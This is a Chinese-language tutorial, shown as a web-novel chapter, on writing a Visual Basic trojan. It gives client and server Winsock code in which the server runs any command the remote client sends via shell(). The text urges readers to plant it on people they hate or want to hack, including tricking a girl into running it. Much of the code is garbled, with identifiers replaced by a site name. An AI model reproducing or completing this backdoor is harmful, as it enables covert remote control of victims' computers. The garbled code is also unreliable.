vb編寫木馬程序

vb編寫木馬程序

今天我為大家講如何用vb編寫"木馬"程序

木馬一般分為兩個主程序:一個是伺服器端的程序(server),另一個是客戶端程序(client),伺服器程序是給

攻擊對象用的,千萬不可用錯了----給自己種馬的人......^0^

客戶程序才是給自己用的,於是我們就用vb建立兩個程序,一個為伺服器端程序cockhorseserver,另一個為

客戶端程序cockhorseclient.

先在cockhorseclient程序中建立一個窗體,載入一個winsock控制項,稱為tcpclient,再加上兩個文本框,用來

輸入伺服器的ip地址和埠號.另外還要建立一個按鈕,按下后可以對連接進行初始化.

代碼我寫下:

privatesuborgmand1_click

'調用connect方法,初始化連接.

bxwx.org=bxwx.org

bxwx.org=val(bxwx.org)'這是埠號,默認為100bxwx.org'和指定的ip相對的計算機相連接

bxwx.org=false

endsub

(在收到數據之後,就要對這些數據做出相應的處理,使用dataarrival事件,可以方便運載數據進操作.

privatesubtcpclient_dataarrival(byvalbytestotallong)

dimstrdatastrinbxwx.orgstrdata

strdata="testconnect"thebxwx.org="connectok"+vbnewline+localip":"+-bxwx.org+"orgputername:"+bxwx.org

bxwx.org=bxwx.org+vbnewline+"remoteis:"+-bxwx.org+"orgputername:"+bxwx.org

instr(trim(strdata),"closeok?")>0thebxwx.org

end

endibxwx.org=bxwx.org+vbnewline+bxwx.org+":"+strdata

endsub

endsub

這是這一段代碼

cockhorseclient程序的核心部分就是這些,下面我講cockhorseserver程序

cockhorseserver程序也是先建立一個窗體,也要載入一個winsock控制項,(方便一些,我在同一個工程下建立這

個窗體).如果當cockhorseclient程序運行時,cockhorseclient程序就會對cockhorseserver發出連接請求,

為了完成這個連接任務,可以用connectionrequest事件來完成,然後就是具體的錯誤情況的表達.

代碼我打出來:

index=0then

intmax=intmax+1

loadtcpserver(intmax)

tcpserver(intmax).localport=0

tcpserver(intmax).acceptrequestid

orgbol_ip.additem(tcpserver(intmax).remotehostip)

orgbol_ip.text="填上你的恨的人的ip吧!"

tcpserver(intmax).orgnddata"testconnect"

end

呵呵.剛才忘記定義名稱了

它的效果是:在cockhorseclient程序被按下的時候,cockhorseserver程序的connectionrequest事件被觸發,

從而執行上面的程序,產生連接.

現在的cockhorseserver程序只能做鏈接,還不能處理cockhorseclient程序所發出的指令,我們還必需用

dataarrival事件.

代碼是這樣的:

privatesubtcpserver_dataarrival(indexinteger,byvalbytestotallong)

dimstrdatastring

dimcheck_blong

errorgogoerr_pro

tcpserver(index).getdatastrdata

check_blong=instr(trim(strdata),"exec")

check_blong>0then

strdata=trim(strdata)

strdata=right(bxwx.org(strdata)-4)

bxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+"要求執行下面的程序:"+strdata

shell(strdata)

else

check_blong=instr(trim(strdata),"closeok")

check_blong>0then

tcpserver(index).close

orgbol_ip.removeltem(index-1)

bxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+"已經斷開!"

elsbxwx.org=tcpserver(index).remotehostibxwx.org=bxwx.org+vbnewline+tcpserver(index).remotehostip+""+strdata

end

endsub

end

err_pro:

err=53then

msgbox"所執行的程序的路徑有錯誤!",+tcpserver(index).remotehostip+"該程序在執行時被拒絕!"

tcpserver(index).orgnddata""

end

resumenext

endsub

這樣,cockhorseserver程序就完了,這就是一個最基本的木馬程序,你用它就可以把你想要黑的人的電腦搞定!至於怎麼讓mm運行你編寫的木馬服務端程序,那就是你的自己的事情啦!

好了.大概就是這樣.控制項名稱呢.自己定義.我也好長時間沒碰vb了.呵呵

上一章書籍頁下一章

super紅客

···
加入書架
上一章
首頁 都市青春 super紅客
上一章下一章

vb編寫木馬程序

%